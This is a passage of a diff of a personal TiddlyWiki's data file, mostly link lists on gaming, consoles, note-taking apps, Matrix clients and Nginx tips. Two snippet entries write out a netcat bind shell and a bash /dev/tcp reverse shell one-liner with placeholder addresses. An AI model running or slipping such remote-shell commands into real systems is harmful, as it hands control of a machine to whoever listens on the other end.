game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"},
{"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240110011644718","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* [[Fun project -hack cheap handheld console- help with BGA NAND flash chip needed|https://www.eevblog.com/forum/beginners/fun-project-hack-cheap-handheld-console-help-with-bga-nand-flash-chip-needed/]]\n* [[Dissecting a hand-held NOAC console|https://hackaday.io/project/175322-dissecting-a-hand-held-noac-console]] --- //This is an attempt to understand how these little things work, and what we can do on it.//\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n** [[ะัะบััััะฒะพ ะบัะพะนะบะธ ะธ ัะธััั ะธะปะธ ะฒะพะทะผะพะถะฝะพััั ะทะฐะผะตะฝะธัั ะธะณัั ะฒ ะฟะพััะฐัะธะฒะฝะพะน ะธะณัะพะฒะพะน ะบะพะฝัะพะปะธ SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n\n* [[V.R. Technology IC Design|https://www.vrt.com.tw/]] (official site with manuals, datasheets, and downloads)\n** [[VTxx|https://bootleggames.fandom.com/wiki/VTxx]]\n"},
{"title":"GBA","created":"20230216205342744","creator":"Octt","modified":"20230216205848009","modifier":"Octt","tags":"Nintendo Console Gaming","text":"\u003C\u003Cwikipediaframe GBA en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL CCXlwI939is \"The Game Boy Advance Is Insanely Powerful Compared to the SNES\">>\n"},
{"title":"GIF","created":"20240107013040620","creator":"Octt","modified":"20240107013413537","modifier":"Octt","tags":"Image","text":"\u003C\u003C^WikipediaFrame \"GIF\">>\n\n* [[Gifski|https://gif.ski/]] -- //Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format.// --- \u003C\u003C[# Git\"https://github.com/ImageOptim/gifski/\">>\n"},
@@ -1239,7 +1242,7 @@
{"title":"Keyboard","created":"20230725112836922","creator":"Octt","icon":"โจ๏ธ","modified":"20231105214847933","modifier":"Octt","page-cover":"https://source.unsplash.com/random?keyboard","tags":"","text":"\u003C\u003C^wikipediaframe \"Computer keyboard\">>\n\n* \u003C\u003Clinkdesc \"Keyboard University\" \"https://www.keyboard.university\" \"The first and last resource youโll ever need for mechanical keyboards. Courses and content for newcomers and expert builders alike.\">>\n\n* [[Monkeytype|https://monkeytype.com/]] --- //The most customizable typing website with a minimalistic design and a ton of features. Test yourself in various modes, track your progress and improve your speed// --- \u003C\u003C[ \"[[Git|https://github.com/monkeytypegame]]\">>\n"},
{"title":"Keyoxide:en","created":"20221104183123144","modified":"20230206111552181","modifier":"Octt","tags":"$:/i18n:en","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide"},
{"title":"Kindle","created":"20230205150256998","creator":"Octt","modified":"20230213164045762","modifier":"Octt","tags":"Amazon E-Paper TODO","text":"\u003C\u003CMediaWiki \"Amazon Kindle\" en 1>>\n\n\u003C!-- TODO: Add jailbreak and homebrew resources -->"},
-{"title":"Knowledge Management","created":"20230924123738131","creator":"Octt","modified":"20231008214320226","modifier":"Octt","tags":"Knowledge","text":"\u003C\u003C^wikipediaframe \"Knowledge Management\">>\n\nParadigms similar to this wiki:\n\n* \u003C\u003Clinkdescgit Dendron \"https://www.dendron.so\" \"The personal knowledge management (PKM) tool that grows as you do!\" \"https://github.com/dendronhq\">>\n* [[Obsidian|https://obsidian.md]]\n** \u003C\u003Clinkdescgit \"๐ก Obsidian Digital Garden\" \"https://dg-docs.ole.dev\" \"Publish your notes to the web, for free. In your own personal garden.\" \"https://github.com/oleeskild/obsidian-digital-garden\">> --- Nice thing but it's sad that navigation is really borked without JavaScript.\n\nThe \"Notion paradigm\", and alternative apps:\n\n* \u003C\u003Clinkdesc Notion \"https://www.notion.so\" \"Your connected workspace for wiki, docs & projects\">> --- it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements\n* \u003C\u003Clinkdescgit anytype \"https://anytype.io\" \"the everything app for those who celebrate trust & autonomy\" \"https://github.com/anyproto\">>\n* \u003C\u003Clinkdescgit AppFlowy \"https://appflowy.io\" \"open-source alternative to Notion for project management\" \"https://github.com/AppFlowy-IO\">>\n\nMisc:\n\n* [[Dynalist|https://dynalist.io]]\n"},
+{"title":"Knowledge Management","created":"20230924123738131","creator":"Octt","modified":"20240127234429703","modifier":"Octt","tags":"Knowledge","text":"\u003C\u003C^wikipediaframe \"Knowledge Management\">>\n\nParadigms similar to this wiki:\n\n* \u003C\u003Clinkdescgit Dendron \"https://www.dendron.so\" \"The personal knowledge management (PKM) tool that grows as you do!\" \"https://github.com/dendronhq\">>\n* [[Logseq|https://logseq.com/]] --- //A privacy-first, open-source platform for knowledge management and collaboration.// --- \u003C\u003C[# Git\"https://github.com/logseq\">>\n* [[Obsidian|https://obsidian.md]]\n** \u003C\u003Clinkdescgit \"๐ก Obsidian Digital Garden\" \"https://dg-docs.ole.dev\" \"Publish your notes to the web, for free. In your own personal garden.\" \"https://github.com/oleeskild/obsidian-digital-garden\">> --- Nice thing but it's sad that navigation is really borked without JavaScript.\n\nThe \"Notion paradigm\", and alternative apps:\n\n* \u003C\u003Clinkdesc Notion \"https://www.notion.so\" \"Your connected workspace for wiki, docs & projects\">> --- it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements\n** [[Notablog|https://github.com/dragonman225/notablog]] --- //Notablog is a static site generator that produce a minimalistic website for you from a Notion table.// --- \u003C\u003C#[ \"Author's site, and demo\" \"https://dragonman225.js.org/notablog.html\">>\n* \u003C\u003Clinkdescgit anytype \"https://anytype.io\" \"the everything app for those who celebrate trust & autonomy\" \"https://github.com/anyproto\">>\n* \u003C\u003Clinkdescgit AppFlowy \"https://appflowy.io\" \"open-source alternative to Notion for project management\" \"https://github.com/AppFlowy-IO\">>\n\nMisc:\n\n* [[Dynalist|https://dynalist.io]]\n"},
{"title":"KOReader","created":"20230213155238472","creator":"Octt","modified":"20230213162455677","modifier":"Octt","tags":"E-Paper Libre","text":"''[[KOReader|https://koreader.rocks/]]'' is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. Itโs available for [[Kindle]], Kobo, PocketBook, Android and desktop Linux.\n\n* https://github.com/koreader\n"},
{"title":"Kotlin","created":"20231217005152232","creator":"Octt","modified":"20231223160619490","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Kotlin>>\n\n* [[Get type of a variable in Kotlin|https://stackoverflow.com/questions/45165143/get-type-of-a-variable-in-kotlin]] --- `if (var is Class) ...`\n* [[What's the difference between !! and ? in Kotlin?|https://stackoverflow.com/questions/44536114/whats-the-difference-between-and-in-kotlin]] --- when `obj` is null, `obj!!` throws `NullPointerException`, `obj?` returns `null`\n\n* [[How to do url encoding for query parameters in Kotlin|https://stackoverflow.com/questions/56942341/how-to-do-url-encoding-for-query-parameters-in-kotlin#56942734]] --- `URLEncoder.encode(text, \"utf-8\")`\n* [[How to create a JSONObject from String in Kotlin?|https://stackoverflow.com/questions/44295665/how-to-create-a-jsonobject-from-string-in-kotlin]] --- `JSONObject(\"\"\"{ \"name\": \"test\" }\"\"\")`\n"},
{"title":"Language","created":"20230216193546517","creator":"Octt","modified":"20231221185526833","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Language en>>\n\n; Misc\n: [[Help, is this arabic?|https://isthisarabic.com/]]\n\n!!!! Fictional and constructed languages\n\n* [[Elefen|https://www.elefen.org/]] --- //Elefen โ โlingua franca novaโ o โlfnโ โ es un lingua simple, desiniada per comunica internasional.//\n\n* [[A Complete Guide to Creating a New Language|https://summalinguae.com/language-culture/guide-creating-new-language/]]\n* [[How To Create a Fictional Language Only You Understand|https://www.dabblewriter.com/articles/how-to-create-a-fictional-language]]\n\n!!!! Translation\n\n* //''[[Glosbe|https://glosbe.com/]]'' is the biggest community-built dictionary.//\n* //''[[Tatoeba|https://tatoeba.org/]]'' is a collection of sentences and translations. It's collaborative, open, free and even addictive.// --- \u003C\u003C[# Git\"https://github.com/Tatoeba\">>\n\n* [[Il gender e la traduzione di videogiochi โ Outcast|https://www.outcast.it/home/il-gender-e-la-traduzione-di-videogiochi]] - \u003C\u003Cmywarc 423>>\n\n; Tools\n: Machine translation: \u003C\u003ChttpsL DeepL.com>> | \u003C\u003ChttpsL Translate.Google.com>>\n:* \u003C\u003Clinkdescgit \"Lingva Translate\" \"https://lingva.ml\" \"Self-hostable alternative front-end and API for Google Translate\" \"https://github.com/TheDavidDelta/lingva-translate\">> \u003C\u003C[# \"Scraper Git\" \"https://github.com/thedaviddelta/lingva-scraper\">> --- note: the official instance appears broken, returning error for translations with specific characters, and also less metadata from the API, problems that some other public instances don't have (official may be running an older version?)\n:* \u003C\u003Clinkdesc Mozhi\"https://codeberg.org/aryak/mozhi\" \"alternative-frontend for many translation engines\">> \u003C\u003C[# \"Scraper Git\" \"https://codeberg.org/aryak/libmozhi\">> (Google support broken as of 2023/11)\n"},
@@ -1266,12 +1269,13 @@
{"title":"Markdown","created":"20230202225920722","creator":"Octt","modified":"20230924230453499","modifier":"Octt","tags":"$:/i18n:en Markup","text":"\u003C\u003C^WikipediaFrame Markdown en>>\n\n* \u003C\u003Clink+desc+git \"Markdown Guide.org\" \"https://www.markdownguide.org\" \" The comprehensive Markdown reference guide\" \"https://github.com/mattcone/markdown-guide\">>\n* \u003C\u003CLink+Desc+Git \"Markdown Tutorial.com\" \"http://www.markdowntutorial.com/\" \"Lessons to help guide new writers into Markdown!\" \"https://github.com/gjtorikian/markdowntutorial.com\">>\n\n* \u003C\u003CLink+Desc+Git \"๐ Monastic Browser\" \"https://monastic.netlify.app\" \"Rebuild the innocent web with Monastic Markdown-first web browser\" \"https://github.com/rognoni/monastic-browser\">>\n"},
{"title":"Mastodon","created":"20230110220005274","creator":"Octt","modified":"20231223123334155","modifier":"Octt","tags":"Fediverse","text":"\u003C\u003C^wikipediaframe Mastodon_(social_network) en>>\n\n!!! ''Clients''\n\n* [[tooot|https://tooot.app/]] --- Simple and open source mobile (iOS/Android) client of Mastodon, started with a focus for Chinese community. --- \u003C\u003C[# Git \"https://github.com/tooot-app\">>\n* [[Pinafore|https://pinafore.social/]] --- Alternative web client for Mastodon (UNMAINTAINED) --- \u003C\u003C[# Git \"https://github.com/nolanlawson/pinafore\">>\n* [[Elk (alpha)|https://elk.zone/]] --- A nimble Mastodon web client --- \u003C\u003C#[ Git \"https://github.com/elk-zone\">>\n"},
{"title":"Math","created":"20230428183805649","creator":"Octt","modified":"20230428190437451","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Math>>\n\n!!! ''Utilities''\n\n* [[Microsoft Math Solver|https://math.microsoft.com/en]] - Search engine for math solutions, guides, examples\n\n!!!! ''Geometry''\n\n* [[GeoGebra|https://www.geogebra.org/]] - //Graphing Calculator Suite// - \u003C\u003C[ \"[[Git|https://github.com/geogebra]]\">>\n* [[Desmos|https://www.desmos.com/]] - Another calculator suite\n\n!!!! ''Calculus''\n\n* [[Cymath|https://www.cymath.com/]] - Minimal Web CAS, works better than others\n* [[Photomath|https://photomath.com/]] - Mobile offline CAS app (badly programmed, requires Google Play Services on Android)\n* [[Symbolab|https://www.symbolab.com/]] - Web CAS, free version is limited\n* [[Wolfram Alpha|https://www.wolframalpha.com/]] - //Computational intelligence//\n** [[Wolfree Alpha|https://wolfreealpha.gitlab.io/input/]] - Hacked Wolfram Alpha webapp to show all data without Pro - \u003C\u003C[ \"[[Mirrors|http://web.archive.org/web/20230315050344/https://wolfreealpha.gitlab.io/mirror/]]\">> - \u003C\u003C[ \"[[Git|https://git.disroot.org/wolfree/wolfree-dockerfile]]\">>\n"},
+{"title":"Maths","created":"20240128004237537","creator":"Octt","modified":"20240128004515420","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Maths\">>\n\n* [[Is there an arithmetic way to determine the greater of 2 numbers?|https://math.stackexchange.com/questions/1975483/is-there-an-arithmetic-way-to-determine-the-greater-of-2-numbers#1975484]] --- `((a+b)/2) + (abs(a-b)/2)`"},
{"title":"Matrix","created":"20230114154554721","creator":"Octt","modified":"20231229012541510","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Matrix","tags":"Internet TODO $:/i18n:en","text":"\\define MatrixGit(Repo:\"\") \u003C\u003C[ \"[[Git|https://github.com/matrix-org/$Repo$]]\">>\n\\define ElementGit(Repo:\"\") \u003C\u003C[ \"[[Git|https://github.com/element-hq/$Repo$]]\">>\n\n\u003C\u003C^wikipediaframe \"Matrix (protocol)\" en>>\n\n* https://matrix.org/\n* https://github.com/matrix-org\n* [[Matrix Specification|https://spec.matrix.org]] --- //The Matrix protocol specification// --- \u003C\u003C[# Git\"https://github.com/matrix-org/matrix-spec\">>\n\n; Clients\n: [[Element|https://element.io/]] --- //glossy Matrix collaboration clients// --- Flagship client; Web-Desktop and Mobile are different codebases --- \u003C\u003CElementGit>> \u003C\u003C[# \"Element Matrix Services SaaS Docs\" \"https://ems-docs.element.io/\">>\n:* [[Spaccamient|https://spacc-inc.github.io/Spaccamient/]] --- mobile-first Element Web fork --- \u003C\u003C[# Git\"https://github.com/Spacc-Inc/Spaccamient\">>\n:* //''[[SchildiChat|https://schildi.chat/]]'' is a feature-rich messenger for Matrix based on Element with some extras and tweaks.// --- \u003C\u003C[# Git\"https://github.com/SchildiChat\">>\n: [[Hydrogen|https://hydrogen.element.io/]] --- (WIP by Element team) //Lightweight matrix client with legacy and mobile browser support// --- \u003C\u003CElementGit hydrogen-web>>\n: [[FluffyChat|https://fluffychat.im/]] --- //open source, nonprofit and cute matrix messenger app// --- \u003C\u003C[ \"[[Git|https://gitlab.com/famedly/fluffychat]]\">>\n\n; Servers\n: [[Synapse|https://matrix.org/docs/projects/server/synapse]] --- //Matrix.orgโs reference server// --- \u003C\u003C[ \"[[Git|https://github.com/matrix-org/synapse]]\">>\n\n; Bots\n: ''[[maubot|https://maubot.xyz/]]'' - //A plugin-based Matrix bot system// --- \u003C\u003C[ \"[[GitHub|https://github.com/maubot]]\">> \u003C\u003C[ \"[[GitLab (CI)|https://mau.dev/maubot]]\">> [\u003C\u003CMatrixLink \"#maubot:maunium.net\">>] \u003C\u003C[ \"[[Docs|https://docs.mau.fi/]]\">>\n: [[Matrix Hookshot|https://matrix-org.github.io/matrix-hookshot/latest/index.html]] --- //A bridge between Matrix and multiple project management services, such as GitHub, GitLab and JIRA.// --- \u003C\u003C[# Git\"https://github.com/matrix-org/matrix-hookshot\">>\n\n; Bridges\n: All by ''mautrix'': https://github.com/mautrix --- \u003C\u003C[ \"[[Docs|https://docs.mau.fi/]]\">>\n: All by ''mx-puppet'': https://gitlab.com/mx-puppet\n\n!!! Misc\n\n* [[Maunium sticker picker|https://github.com/maunium/stickerpicker]] --- //fast and simple Matrix sticker picker widget. Tested on Element Web, Android & iOS//\n* [[Third Room|https://thirdroom.io/]] (w/WebSG) --- //Open, decentralized, immersive worlds built on Matrix// --- \u003C\u003CMatrixGit thirdroom>>\n"},
{"title":"MeBoy:en","created":"20220923130111988","creator":"Octt","modified":"20230213162532349","modifier":"Octt","tags":"Emulation Gaming Nintendo [[Game Boy]] $:/i18n:en Libre","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform."},
{"title":"MediaWiki","created":"20230112112905496","creator":"Octt","icon":"๐ป","modified":"20231227012335262","modifier":"Octt","page-cover":"https://source.unsplash.com/random?MediaWiki-Wiki-Wikipedia","tags":"$:/i18n:en Wiki","type":"","text":"\u003C\u003C^wikipediaframe MediaWiki en>>\n\n!! ''Resources''\n\n!!! ''Tools''\n\n* by [[WikiTeam|https://archive.org/details/wikiteam]] - //Tools for downloading and preserving wikis. We archive wikis, from Wikipedia to tiniest.\u003C\u003Cfnote \"As of 2020, WikiTeam has preserved more than 250,000 wikis.\">>// - \u003C\u003C[ \"[[Git WikiTeam|https://github.com/WikiTeam]]\">>\n** Modern WIP versions by [[mediawiki-client-tools|https://github.com/mediawiki-client-tools]]\n*** [[mediawiki-scraper|https://github.com/mediawiki-client-tools/mediawiki-scraper]] - //ongoing project to port the legacy wikiteam toolset to Python 3 and PyPI to make it more accessible//\n\n!!! ''Help and Learning''\n\n* [Web book] [[Working with MediaWiki|https://workingwithmediawiki.com/]] - 2nd edition, updated for 2022, by Yaron Koren\n\n* [[Help:Export|https://m.mediawiki.org/wiki/Help:Export]]\n** [[Manual:Backing up a wiki|https://m.mediawiki.org/wiki/Manual:Backing_up_a_wiki]]\n*** [[How to back up a MediaWiki server hosted on a remote Debian machine|https://gist.github.com/MichaelCurrie/a36bb5746a19e4b77160296baa14365d]]\n** [[Manual:Parameters to Special:Export|https://m.mediawiki.org/wiki/Manual:Parameters_to_Special:Export]]\n*** [[Manual:$wgExportAllowAll|https://m.mediawiki.org/wiki/Manual:$wgExportAllowAll]]\n\n!!! ''Extensions''\n\n* [[Translate|https://m.mediawiki.org/wiki/Extension:Translate]] - //Used to translate software (?) and to manage multilingual wikis in a sensible way//\n\n!!! ''Development''\n\n* \u003C\u003CExtMediaWikiAnchor \"API:Get_the_contents_of_a_page\" mediawiki.org>>\n"},
{"title":"melonDS:en","created":"20220923104738517","modified":"20230206111552207","modifier":"Octt","tags":"Emulation Nintendo NDS Gaming $:/i18n:en","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC."},
{"title":"Meta Inc","created":"20230215221117148","creator":"Octt","modified":"20230226221710244","modifier":"Octt","tags":"USA","text":"\u003C\u003C^wikipediaframe \"Meta Inc.\">>\n\n* [[Reasons not to be used by Facebook [Richard Stallman]|https://stallman.org/facebook.html]]\n\n; Curiosities\n: \u003C\u003CYoutubeL OHlZXyhG3eQ \"How THIS instagram story kills your phone.\">>\n\n!!! ''News''\n\n; February 2023\n: [[Italian prosecutors probe Meta for 870Ms EUR tax evasion|https://www.ansa.it/english/news/business/2023/02/22/milan-prosecutors-probe-meta-for-870-mn-tax-evasion_4093668e-23d4-4841-81c8-cdf4eb91fdf9.html]]\n: [[Zuck Banned Me - My Facebook got hacked, then Meta banned me from all services|http://web.archive.org/web/20230217032148/http://zuckbannedme.com/]]\n\n; Older\n: [[Facebookโs internal research on mental health effects of Instagram|https://www.theverge.com/2021/9/29/22701445/facebook-instagram-mental-health-research-pdfs-documents]] | [[Facebook Internal Research Found Instagram Can Be Very Harmful To Young Girls|https://www.forbes.com/sites/jemimamcevoy/2021/09/14/facebook-internal-research-found-instagram-can-be-very-harmful-to-young-girls-report-says/]]\n"},
-{"title":"MicroBlogs","created":"20231222234611171","creator":"Octt","modified":"20231223111131828","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Microblog>>\n\n* \u003C\u003ChttpsL OctoSpacc.altervista.org/MicroBlog>>\n* [[Numeric Citizen Blog|https://blog.numericcitizen.me/]] --- //I'm a compulsive creator (words, images, videos, podcasts). It's not always an easy journey, but it is a rewarding one.//\n"},
+{"title":"MicroBlog","created":"20231222234611171","creator":"Octt","modified":"20240121192942431","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Microblog>>\n\nSome MicroBlogs found on the net, saved for any reason:\n\n* \u003C\u003ChttpsL OctoSpacc.altervista.org/MicroBlog>>\n* [[Numeric Citizen Blog|https://blog.numericcitizen.me/]] --- //I'm a compulsive creator (words, images, videos, podcasts). It's not always an easy journey, but it is a rewarding one.//\n"},
{"title":"Microsoft","created":"20230112215325845","creator":"Octt","modified":"20230207215507522","modifier":"Octt","tags":"$:/i18n:en Company USA","text":"\u003C\u003C^wikipediaframe Microsoft>>\n\n!!! ''Products''\n\n* [[Bing|https://en.m.wikipedia.org/wiki/Microsoft_Bing]]\n** Microsoft Bing Rewards\n* [[Encarta|https://en.m.wikipedia.org/wiki/Encarta]] - //discontinued digital multimedia encyclopedia//\n* [[Windows]]\n\n!!! ''News''\n\n; March 2023\n: \u003C\u003CHackernewsL 35031072 \"Tell HN: Microsoft Teams is blocking Firefox Nightly\">>\n"},
{"title":"Midnight Commander:en","created":"20230130081056391","creator":"Octt","modified":"20230206111552211","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003CMediaWiki Midnight_Commander en 2>>"},
{"title":"Miitomo:en","created":"20230113110556145","creator":"Octt","modified":"20230206211339279","modifier":"Octt","tags":"TODO $:/i18n:en Nintendo","text":"\u003C\u003CMediaWiki Miitomo en 2>>"},
@@ -1295,7 +1299,7 @@
{"title":"netcat/Normal Shell","created":"20221202224129631","modified":"20230206111552224","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```"},
{"title":"netcat/Reverse Shell","created":"20220926095309988","modified":"20230206111552227","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```"},
{"title":"Network domain","created":"20231221233617426","creator":"Octt","modified":"20231221233932753","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Network domain\">>\n\n* \u003C\u003ChttpsL nic.eu.org>> --- //EU.org, free domain names since 1996//\n* (yourname.)\u003C\u003ChttpsL js.org>> --- //Are you a JavaScript developer looking for free webspace to host your project?// --- \u003C\u003C[# Git\"https://github.com/js-org\">>\n"},
-{"title":"Networking","created":"20231222123820453","creator":"Octt","modified":"20231224173401189","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Telecommunications network\">>\n\n!!! Resources\n\n* [[Port Forwarding without delay and high fps in a real time live stream using socat|https://unix.stackexchange.com/questions/454157/port-forwarding-without-delay-and-high-fps-in-a-real-time-live-stream-using-soca]]\n** socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. `firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080`\n*** see [[Forwarding ports with firewalld|https://major.io/p/forwarding-ports-with-firewalld/]]\n\n!!! Tools\n\n* Network Tools by [[You Get Signal|https://www.yougetsignal.com/]]\n"},
+{"title":"Networking","created":"20231222123820453","creator":"Octt","modified":"20240127231310608","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Telecommunications network\">>\n\n!!! Resources\n\n* [[Port Forwarding without delay and high fps in a real time live stream using socat|https://unix.stackexchange.com/questions/454157/port-forwarding-without-delay-and-high-fps-in-a-real-time-live-stream-using-soca]]\n** socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. `firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080`\n*** see [[Forwarding ports with firewalld|https://major.io/p/forwarding-ports-with-firewalld/]]\n\n!!! Tools\n\n* Network Tools by [[You Get Signal|https://www.yougetsignal.com/]]\n\n!!! Misc\n\n* [[Ban Power Line Technology|https://www.ban-plt.org.uk/]] --- //Save your radio spectrum//\n"},
{"title":"News","created":"20231223233937694","creator":"Octt","modified":"20231223234138891","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"News\">>\n\n* [[Boing Boing|https://boingboing.net/]] --- //The award-winning zine, blog and directory of mostly wonderful things.//\n"},
{"title":"Newsgroup","created":"20230429221135750","creator":"Octt","modified":"20240107120240647","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Newsgroup>>\n\nBrowse newsgroup archives online:\n\n* [[Google Groups|https://www.google.com/search?q=site%3Agroups.google.com]]\n* [[Narkive|https://narkive.com/]] (Newsgroup Archive) --- apparently recently started indexing Stackexchange threads, automatically translated on the server side\n* [[UsenetArchives.com|https://www.usenetarchives.com/]] - [\u003C\u003CRedditLink r/usenet/comments/in6u06/free_usenet_text_archive_goes_online_300_million/ Info>>]\n** [[2.1 Million of the Oldest Internet Posts Are Now Online for Anyone to Read|https://www.vice.com/en/article/pky7km/usenet-archive-utzoo-online]]\n\nDetails and downloads of archives\n\n* [[https://wiki.archiveteam.org/index.php/Usenet]]\n* [[Usenet|https://archive.org/details/usenet]], [[Giganews|https://archive.org/details/giganews]] (Archive.org)\n"},
{"title":"Nginx","created":"20230207185112276","creator":"Octt","modified":"20231221190746217","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe Nginx en >>\n\n!!! ''Resources''\n\n* [[agentzh's Nginx Tutorials (version 2020.03.19)|https://openresty.org/download/agentzh-nginx-tutorials-en.html]]\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n* Nginx reverse proxy + URL rewrite: [[most correct way and best practice is usually...|https://serverfault.com/a/870620]]\n* [[How nginx \"location if\" works|https://agentzh.blogspot.com/2011/03/how-nginx-location-if-works.html]]\n** [[If is Evilโฆ when used in location context|https://www.nginx.com/resources/wiki/start/topics/depth/ifisevil/]] --- (always dangerous in locations, except when doing `return ...;` or `rewrite ... last;`)\n* [[How to reply with 200+content from Nginx, without serving a file?|https://serverfault.com/questions/196929/how-to-reply-with-200-from-nginx-without-serving-a-file]]\n* [[nginx redirect based on domain name|https://serverfault.com/questions/832456/nginx-redirect-based-on-domain-name/832474#832474]]\n* [[Using variables in Nginx location rules|https://stackoverflow.com/questions/15416957/using-variables-in-nginx-location-rules/61513351#61513351]] --- nginx doesn't have proper variables, but the map module is often usable\n\n* [[Install more_set_headers in nginx for Debian-based distro|https://serverfault.com/questions/954708/install-more-set-headers-in-nginx-1-15-8]] --- `apt install nginx-extras`, keeping in mind that it will rewrite the nginx core package, so any active nginx daemon will crash and need to be restarted.\n** Apparently all extra modules get enabled by default after this installation, and some might crash on some systems: if so, delete their symlinks from `/etc/nginx/modules-enabled`.\n"},
@@ -1316,7 +1320,7 @@
{"title":"Notebook","created":"20230208195350783","creator":"Octt","modified":"20230217230230963","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Notebook en >>\n\nSome (small ones) can be cute, I think. It's a shame though that [[writing on paper, for me, has too many disadvantages as compared to writing digitally|Why I write digitally]]... although I should probably just try it for some weeks to verify some ideas."},
